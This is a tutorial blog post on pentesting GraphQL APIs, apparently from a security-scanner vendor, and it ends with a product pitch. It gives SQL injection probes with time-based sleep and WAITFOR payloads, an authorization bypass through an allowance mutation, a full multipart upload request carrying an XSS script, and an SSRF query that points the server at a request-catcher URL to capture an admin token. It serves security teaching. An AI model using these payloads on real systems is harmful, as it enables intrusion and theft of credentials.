Pentesting GraphQL 101 Part 3 - Exploitation
This article is part of the series "Pentesting GraphQL 101".
- Pentesting GraphQL 101 Part 1 - Discovery
- Pentesting GraphQL 101 Part 2 - Interaction
- Pentesting GraphQL 101 Part 3 - Exploitation
Exploitation or finding vulnerabilities might not be the most crucial step in a typical pentesting process. Yet, it is what glues the whole pentesting process together through being the unified goal that all other efforts build up to, giving meaning to the entire process.
I think exploitation is the most enjoyable step and that I, with my colleagues, prefer this particular step the most.
Today's article will be a combination of scenarios I've encountered as well as specific attacks that I always check for when pentesting:
- SQL Injection
- Bypassing authorization
- File upload
- SSRF
Starting with the Classics: SQL Injection
Commonly GraphQL endpoints would be associated with databases from where they fetch their data, and thus the process of transforming a GraphQL query into a SQL query occurs.
But whenever SQL is used, SQL injection must be on the pentesting checklist.
Background:
SQL injection is one of the most common web hacking techniques. That is essentially code injection that might bypass authentications, leak the database, destroy it, or even (in the worst/best case scenario) execute code.
It isn't much different for GraphQL endpoints, yet it is worth looking into as a separate topic. Articles handling SQL injection on GraphQL endpoints are starting to emerge.
Check out one of my favorite articles: SQL Injection in GraphQL
SQL Injection Detection Techniques:
The question we should ask now is: where would we inject?
In GraphQL, the answer is simple: In Arguments, queries take arguments and are the only input that could be injectable. Here is a quick example of a query with arguments:
query{
character(injectHere: "' or 1=1 --"){
id
name
}
}
When testing for SQL injection, two cases are usually encountered:
- A verbose endpoint that would tell you through the error messages when your malicious input resulted in an SQL error indicating a vulnerability
- A silent endpoint or an endpoint that doesn't exclusively return what went wrong, that we'll have to approach through time based payloads
Methodology:
Detecting SQL injection in verbose endpoints could be done through three simple tests that covers 90% or all cases, that is usually enough to declare an endpoint practically safe.
The tests consist of sending each of the following characters to an endpoint:
Single quote: ( ' )
Double quote: ( " )
Space followed by random character: ( test)
After sending each of those, if an SQL error message is returned, then you, sir, have (probably) stumbled on an endpoint vulnerable to SQL injection.
on the other hand when the endpoint is silent we use time for detection. Send each of these:
,(select * from (select(sleep(20)))a)
%2c(select%20*%20from%20(select(sleep(20)))a)
';WAITFOR DELAY '0:0:20'--
And check if the query takes 20 or more seconds, and if it does, then we can declare the endpoint vulnerable (probably).
Bypassing Authorization
Bypassing authorization is a vast concept that could not be given in the form of a simple step-by-step guide. It could be anything from a poorly implemented token verifier to a fundamental vulnerability. Yet, it is always an exploitation goal that pentesters should aim for.
A great authorization bypass example was shown in the previous article with "Multipath Evaluation," but here is another similar vulnerability.
An endpoint I worked on had the following scenario:
An Allowance
object was found. It represented the allowance of a particular child set by his parent.
Key points about the endpoint and the Allowance
object:
- we are authenticated as a child
saveAllowance
is the mutation that updates the fields of an allowance objectgetAllowance
is the query that fetches the Allowance fields- A child can get the Allowance information, but not edit them
- The
periodicity
field represents how often does a child get his allowance (monthly, weekly, daily ....)
After some testing/playing around the following article was sent with a random string in the periodicity argument:
mutation {
saveAllowance(
saveInput:
{
amount: 100,
periodicity: "escape-test",
isSuspended: false,
isVaultRemunerated: true,
periodicityDay: 1334,
childId: "9d0730c3-f172-4b2d-b401-94a575787ae2",
vaultRate: 0.1334}) {
lastPaymentDetail {
amount
}
}
}
but the response was an error message specifying that the periodicity is unknown:
{
"errors": [
{
"message": "Unkwown periodicity escape-test"
}
]
}
and yes there was a typo there :)
up until here no problem or vulnerability was identified, not until the Allowance
of the same child (using the same childId
) was queried using the getAllowance
query.
query {
getAllowance(childId:"9d0730c3-f172-4b2d-b401-94a575787ae2") {
nextDistributionAmount
}
}
that returned:
{
"errors": [
{
"message": "Unkwown periodicity escape-test",
"locations": [
{
"line": 2,
"column": 2
}
],
"path": [
"getAllowance"
],
"extensions": {
"code": "INTERNAL_SERVER_ERROR"
}
}
],
"data": {
"getAllowance": null
}
}
and voila, since this error had occurred we can conclude two points:
- The poorly formatted data
escape-test
was stored in the base, which is already an integrity problem in itself - More importantly, any logged-in user can store any string in the database, and thus anyone changes the periodicity so that a child can get his allowance.
File upload
To put it simply, GraphQL is not equipped to handle uploads. Yet, for some reason, GraphQL developers still decide to implement custom file upload mutations. So, whenever you spot an upload type in the introspection, know that your chance of finding a vulnerability just increased.
Here is an example of a simple arbitrary file upload hack I found:
Sending the upload avatar picture mutation has only checks on the specified content type that can be decided by the user and thus I sent the following request :
------WebKitFormBoundarypAcAlwMUxVMDk3Mm
Content-Disposition: form-data; name="operations"
{"operationName":"StaffAvatarUpdate","variables":{"image":null},"query":"fragment AccountErrorFragment on AccountError {\n code\n field\n __typename\n}\n\nmutation StaffAvatarUpdate($image: Upload!) {\n userAvatarUpdate(image: $image) {\n errors: accountErrors {\n ...AccountErrorFragment\n __typename\n }\n user {\n id\n avatar {\n url\n __typename\n }\n __typename\n }\n __typename\n }\n}\n"}
------WebKitFormBoundarypAcAlwMUxVMDk3Mm
Content-Disposition: form-data; name="map"
{"0":["variables.image"]}
------WebKitFormBoundarypAcAlwMUxVMDk3Mm
Content-Disposition: form-data; name="0"; filename="payload.html"
Content-Type: image/jpeg
<script>alert(1)</script>
------WebKitFormBoundarypAcAlwMUxVMDk3Mm--
I added an XSS payload in the file content but specified the Content-Type as image/jpeg and thus the file simply uploaded.
and voilà, accessing the file's URL results in the XSS
Note: Obviously much more can be done from an unrestricted file upload, but this is as much as I can share for this.
Server-Side Request Forgery
When controlling the destination of a particular request made by the server, this is the basic framework for an SSRF vulnerability, but it is always tricky to actually announce it as a vulnerability.
When controlling the destination of a particular request made by the server, this is the basic framework for an SSRF vulnerability. Still, it is always tricky to announce it as a vulnerability.
SSRF candidates are anything that might send a request, some examples I've encountered are queries named: Checkurl, Createwebhook, getUrlMetadata
But perhaps the most severe SSRF vulnerability I've found was a leaked admin token through SSRF.
It was found in a GraphQL endpoint was a wrapper around a RESTful architecture. Thus, every time data is requested from the GraphQL endpoint, a request would be made to the REST API, and due to an implementation fault, I could do the following:
Sending a query with a request catcher instead as an id argument:
query{
invoice(invoiceId: "https://pentesting101.requestcatcher.com/test"){
uid
}
}
would result in a caught request with a valid admin token:
Automated security testing
At Escape, we created the first GraphQL Security scanner that allows developers to find and fix vulnerabilities in GraphQL applications during the development lifecycle before they even reach production!
It understands the business logic of GraphQL APIs and looks for more than 50 kinds of vulnerabilities so that you never have to worry again about
- Resolver performance (N+1 issues, cyclic queries, query complexity DOS…)
- Tenant isolation (access control, data segregation between users…)
- Sensitive data leaks (personally identifiable information, tokens, stack traces, secrets…)
- Injections (SQL, NoSQL, XSS…) and requests forgery
We constantly update our engine with state-of-the-art GraphQL Security research so that you never have to worry about the security of your GraphQL application again!
Start monitoring the security of your endpoints today with a 7-day free trial.
Get results in one minute – no credit card required.
Final Thoughts
Cybersecurity skills might be some of the most challenging to teach due to the rapidly evolving nature of the field. Hopefully, I have provided enough insight by sharing my experience and successfully increased your checklist for the next time you are pentesting a GraphQL endpoint.
We hope you enjoyed this GraphQL 101 Pentesting series, and as a complement we invite you to take a look at the excellent article GraphQL exploitation - All you need to know from Theodoros Danos.
💡 Want to learn more about pentesting and GraphQL testing? Discover the following articles: